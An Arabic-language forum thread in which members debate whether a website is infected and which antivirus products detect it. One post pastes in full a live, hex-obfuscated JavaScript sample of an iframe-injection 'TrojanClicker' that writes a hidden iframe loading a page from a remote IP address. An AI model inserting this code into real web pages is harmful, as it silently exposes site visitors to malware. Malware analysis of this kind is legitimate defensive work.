موقع ملغوووم ... لاجراء التجارب... بسرررررعه :)

[dr-know]

النود يقول الموقع نظيف
البتدفندر معروف بهذه الكتشافات الخاطئة للمواقع النظيفة

​

 

[زووم6]

انت تشوف مدفعـ خخخخخخ ولا اخر الليل بعد ههههههههه

 

[LOCUS]

اخى الموقع مو ملغوم والكاسبر لم يتحرك والموقع كمان مشهور فى الوطن العربى

 

[Mr.SaUdI]

 

[الديبلوماسي]

أنا مركب الأفيرا وجدار الحمايه اون لاين ارمور .

ومافي أي رساله تحذيريه أبد .

 

[JOLT_K!NG]

السلام عليكم جميعا
اولا : البرنامج يقوم بمنع النوافذ المنبثة لمنع الاعلانات :q:
الاطلاع

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

او

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

والمتصفح موزيلا تلقائي يقوم بمنعها :q:
والذي ياعني من الفيروس عليه بـــــــــــــــــــــComboFix

يعني للتوضيح اكثر

هو تروجان غريب عجيب . . يغزو المواقع وصفحات الHTML وماشابهها تحديدا ً
ويدس كود إعلاني لفتح نوافذ في آخر كود الصفحة . .

مما أعطاه تصنيف : TrojanClicker
في موقع viruslist
وهذا الكود

<script>function v481c1bc9d2497(v481c1bc9d2aa0){ var v481c1bc9d2d96=16; return(parseInt(v481c1bc9d2aa0,v481c1bc9d2d96));}function v481c1bc9d35a3(v481c1bc9d39b0){ var v481c1bc9d45a5=2; var v481c1bc9d3dac='';for(v481c1bc9d41a8=0; v481c1bc9d41a8<v481c1bc9d39b0.length; v481c1bc9d41a8+=v481c1bc9d45a5){ v481c1bc9d3dac+=(String.fromCharCode(v481c1bc9d2497(v481c1bc9d39b0.substr(v481c1bc9d41a8, v481c1bc9d45a5))));}return v481c1bc9d3dac;} document.write(v481c1bc9d35a3('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D656533383563363035383166207372633D5C27687474703A2F2F37372E3232312E3133332E3135302F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A313533292B2735306234366437345C272077696474683D313533206865696768743D31207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>

ايضا لمزيد من الوضوح

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

وهذا اقتباس لموضوع لاخوة في منتدى اخر

تصنيف التروجان : Iframe Malware
خطورته : عالية جداً حتى الآن

هذا التروجان يعمل بتقنية Iframe Injection >>> او حقن وزرع الأيفريم فى اى موقع يواجهه ويزرع كود أيفريم خفى فى الصفحات index; main; config ... سواء Html او Php .
ولو أصاب اى موقع على سيرفرك ينتقل ليصيب السيرفر بكامل مواقعه ....

وعند دخول زوارك على الموقع ... يجدوا الموقع بطئ جداً وتظهر نوافذ اعلانية كثيرة وساعات النافذة تهنج ويقوم بتحميل تروجان لديك فى ملفات السيستم ( ولاحظت انه فى اماكن مختلفة حسب نوعه ) ويصيب اى موقع تدخل عليه عن طريق الاف تى بى...

ثغرة دخوله وكيفية منعه غير معلومه حتى الآن ولا يوجد حل جذرى لمواجهته على حسب بحثى الذى عملته عنه على مواقع أجنبية وعربية ...

يترك للنقاش والتعليق

 

[Mr.SaUdI]

:king:​

 

[JOLT_K!NG]

السؤال الذي يطرح نفسه هل جميع برامج الحماية التي لم تقوم بصد الموقع او اعطى اي تنبيه كانت على خطأ :q:
و

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

هو الوحيد الذي كشف الكود بالموقع للفيروس

 

[JOLT_K!NG]

الى اصحاب BitDefender

الرجاء من اصحاب برنامج الحماية BitDefender تجربة فحص الملف التالي وهو مستند نص للتحميل من الرابط التالي

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

ملاحظة: المستند ليس فيه اي ضرر لكن نريد كود TrojanClicker لذلك نريد استخلاص كوده من هذه التجربة ولمن لديه البرنامج يطلعنا على النتائج بالانتظار

 

[ahmed1000]

اخي العزيز اقول لك بكل جدارة البت دفندر قوي ولاكن اني استخدمة عندة انذارات خاطئة للاسف لان اني اجرب المواقع عن طريق سباي وير دكتور المعروف هوة استاذ بشيل الترجونات معروف اضن ان البت دفندر احيانانا يشتبة ملفات لاكن غير دقيقة
هوة للاسف الشديد لايحتوي على safty web الموجودة عند تراد مايكرو او نورتن او ايفيجي او مكافي

 

[juve4eva]

انا جربت الصفحة .. وطلع لي تورجان ... وادوار ..

البرنامج إلي طلعهم .. التويستر ..

مع إني مركب ثلاثة برامج .. التويستر .. والإفيرا .. والكاسبر ..

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

دمتم,,

 

[JOLT_K!NG]

الرجاء من اصحاب برنامج الحماية BitDefender تجربة فحص الملف التالي وهو مستند نص للتحميل من الرابط التالي

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

ملاحظة: المستند ليس فيه اي ضرر لكن نريد كود TrojanClicker لذلك نريد استخلاص كوده من هذه التجربة ولمن لديه البرنامج يطلعنا على النتائج بالانتظار

:er::er::er::er::er::er::er::er::er::er::er::er::er::er::er::er::er::er::er::er::er::er::er::er::er::er::er:

 

[JOLT_K!NG]

اخي العزيز اقول لك بكل جدارة البت دفندر قوي ولاكن اني استخدمة عندة انذارات خاطئة للاسف لان اني اجرب المواقع عن طريق سباي وير دكتور المعروف هوة استاذ بشيل الترجونات معروف اضن ان البت دفندر احيانانا يشتبة ملفات لاكن غير دقيقة
هوة للاسف الشديد لايحتوي على safty web الموجودة عند تراد مايكرو او نورتن او ايفيجي او مكافي

شكرا اخي على المدخلة لكن تجربتي سوف اقوم بمعرفة انذار خظأ اما لا

 

[JOLT_K!NG]

 

[الديبلوماسي]

الرجاء من اصحاب برنامج الحماية bitdefender تجربة فحص الملف التالي وهو مستند نص للتحميل من الرابط التالي

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

ملاحظة: المستند ليس فيه اي ضرر لكن نريد كود trojanclicker لذلك نريد استخلاص كوده من هذه التجربة ولمن لديه البرنامج يطلعنا على النتائج بالانتظار

والله يالغالي .. مو بجهازي الحين البت دفندر ، ولو هو عندي كان جربته .

لكن انتظر اخوي مستر سعودي ، وان شاء الله خير .

 

[الديبلوماسي]

الحين نصدق من ؟؟

:no::no:

 

[jgjc]

سلام

سوري تأخرت عليكم

بس هل فعلا البت ديفيندر اثبت قوته للدرجه اللي خلة الافيرا والكاسبر والافاست مايدورن وش اللي بالموقع ؟؟؟ :er:

على فكره ... انا ركبت الديفيندر قبل يومين بس للتجربه :hh:

وبالنسبه للي سألوا عن الموقع

اهلكم مايدخلوا على مواقع مثل كذا ؟ :i:

 

[JOLT_K!NG]

والله يالغالي .. مو بجهازي الحين البت دفندر ، ولو هو عندي كان جربته .

لكن انتظر اخوي مستر سعودي ، وان شاء الله خير .

شكرا يالغلا ما قصرت واخوي سعود راح ابعث له بريد مستعجل اذا موجود ما بيقصر:d:

 

[JOLT_K!NG]

سلام

سوري تأخرت عليكم

بس هل فعلا البت ديفيندر اثبت قوته للدرجه اللي خلة الافيرا والكاسبر والافاست مايدورن وش اللي بالموقع ؟؟؟ :er:

على فكره ... انا ركبت الديفيندر قبل يومين بس للتجربه :hh:

وبالنسبه للي سألوا عن الموقع

اهلكم مايدخلوا على مواقع مثل كذا ؟ :i:

هلا ومية غلا وين الغيبة :d:

طيب انت تملك البتدفندر للتجربة كما هو موضوح

الرجاء من اصحاب برنامج الحماية BitDefender تجربة فحص الملف التالي وهو مستند نص للتحميل من الرابط التالي

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

ملاحظة: المستند ليس فيه اي ضرر لكن نريد كود TrojanClicker لذلك نريد استخلاص كوده من هذه التجربة ولمن لديه البرنامج يطلعنا على النتائج بالانتظار

 

[jgjc]

هلا ومية غلا وين الغيبة :d:

طيب انت تملك البتدفندر للتجربة كما هو موضوح

ماصاد شي :?:

اساسا ولابرنامج حمايه صاد شي :i:

http://scanner.novirusthanks.org/index.php?session=15707431160200673907153130464082051688645576860

بس على مااظن انه الفايروس هذا عباره عن جافا سكريبت ... ومو كل برامج الحمايه قادره انها تصيد فيروسات الجافا سكريبت

زي ماهو مكتوب في الدكتور ويب JS

لغة برمجة صفحات انترنت ... بس متطوره شوي :q: